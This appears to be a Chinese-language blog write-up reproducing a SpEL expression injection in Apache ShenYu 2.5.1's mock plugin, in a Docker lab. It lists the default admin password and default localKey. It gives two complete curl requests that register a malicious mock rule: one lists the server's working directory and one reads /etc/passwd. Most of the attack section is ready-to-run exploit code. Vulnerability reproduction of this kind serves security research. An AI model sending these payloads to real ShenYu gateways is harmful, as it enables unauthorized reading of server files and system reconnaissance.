Apache shenyu 2.5.1 任意文件读取

环境搭建#

系统环境：Ubuntu 24.04
利用条件：开启 mock 插件

docker 环境搭建

1
sudo docker network create shenyu-quickstart
2
sudo docker run -d --name shenyu-admin-quickstart \
3
           -p 9095:9095        \
4
           --network=shenyu-quickstart     \
5
           apache/shenyu-admin:2.5.1
6

7
sudo docker run -d --name shenyu-quickstart \
8
           -p 9195:9195        \
9
           -e "shenyu.local.enabled=true" \
10
           -e SHENYU_SYNC_WEBSOCKET_URLS=ws://shenyu-admin-quickstart:9095/websocket \
11
           --network=shenyu-quickstart     \
12
           apache/shenyu-bootstrap:2.5.1

首先要进 shenhyu-amdin 的后台开个设置，默认账户：admin<123456>

开启 mock 插件，环境搭建完成

信息收集#

打开页面发现是 apache shenyu 框架

去 github 搜这个框架，并且在 src/main/resources/application.yml 目录发现了开放的接口

先探测一下版本，访问了一下 /v3/api-docs 提示失败，考虑到版本较老，将 v3 改为 v2 访问成功，并且看到了框架版本信息

默认 key 创建路由#

在 ReadMe 里有个默认 key，可以用于创建路由

官方给出的示例如下

1
curl --location --request POST 'http://localhost:9195/shenyu/plugin/selectorAndRules' \--header 'Content-Type: application/json' \--header 'localKey: 123456' \--data-raw '{
2
"pluginName": "divide",
3
"selectorHandler": "[{\"upstreamUrl\":\"127.0.0.1:8080\"}]",
4
"conditionDataList": [{
5
"paramType": "uri",
6
"operator": "match",
7
"paramValue": "/**"
8
  }],
9
"ruleDataList": [{
10
"ruleHandler": "{\"loadBalance\":\"random\"}",
11
"conditionDataList": [{
12
"paramType": "uri",
13
"operator": "match",
14
"paramValue": "/**"
15
  }]
16
  }]
17
}'

但是并没有什么用，我们现在的思路是找到一个有问题的插件，添加路由，然后在访问路由时触发 sink 点

代码审计#

通过代码审计我们可以看到 shenyu-plugin-mock 插件有一处 SPEL 表达式注入，文件路径：C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-plugin\shenyu-plugin-mock\src\main\java\org\apache\shenyu\plugin\mock\generator\ExpressionGenerator.java，同时文档也有提到这个插件：Mock 插件 | Apache ShenYu，但是我们并不知道传参，所以我们现在要去找传参

经过一番寻找，传参在 C:\Users\aaa\Documents\environment\shenyu-2.5.1_2\shenyu-2.5.1\shenyu-web\src\main\java\org\apache\shenyu\web\controller\LocalPluginController.java

SPEL 表达式注入利用#

列目录

1
curl --location --request POST 'http://10.8.20.114:9195/shenyu/plugin/selectorAndRules' \
2
--header 'localKey: 123456' \
3
--header 'Content-Type: application/json' \
4
--header 'User-Agent: PostmanRuntime/7.51.0' \
5
--data-raw '{
6
  "pluginName": "mock",
7
  "selectorHandler": "[]",
8
  "conditionDataList": [
9
    {
10
      "paramType": "uri",
11
      "operator": "match",
12
      "paramValue": "/ls/**"
13
    }
14
  ],
15
  "ruleDataList": [
16
    {
17
      "ruleName": "list_dir",
18
      "ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"files\\\":\\\"${expression|T(org.springframework.util.StringUtils).arrayToCommaDelimitedString(new java.io.File(\\\".\\\").list())}\\\"}\"}",
19
      "conditionDataList": [
20
        {
21
          "paramType": "uri",
22
          "operator": "match",
23
          "paramValue": "/ls/**"
24
        }
25
      ]
26
    }
27
  ]
28
}'

读 passwd 文件

1
curl -X POST http://10.8.20.114:9195/shenyu/plugin/selectorAndRules \
2
-H 'Content-Type: application/json' \
3
-H 'localKey: 123456' \
4
--data-raw '{
5
    "pluginName": "mock",
6
    "selectorHandler": "[]",
7
    "conditionDataList": [
8
        {
9
            "paramType": "uri",
10
            "operator": "match",
11
            "paramValue": "/readfile2/**"
12
        }
13
    ],
14
    "ruleDataList": [
15
        {
16
            "ruleName": "read_test",
17
            "ruleHandler": "{\"httpStatusCode\":200,\"responseContent\":\"{\\\"file\\\":\\\"${expression|new java.lang.String(T(java.nio.file.Files).readAllBytes(T(java.nio.file.Paths).get(\\\"/etc/passwd\\\")))}\\\"}\"}",
18
            "conditionDataList": [
19
                {
20
                    "paramType": "uri",
21
                    "operator": "match",
22
                    "paramValue": "/readfile2/**"
23
                }
24
            ]
25
        }
26
    ]
27
}'

环境搭建#

信息收集#

默认 key 创建路由#

代码审计#

SPEL 表达式注入利用#

文章分享

评论区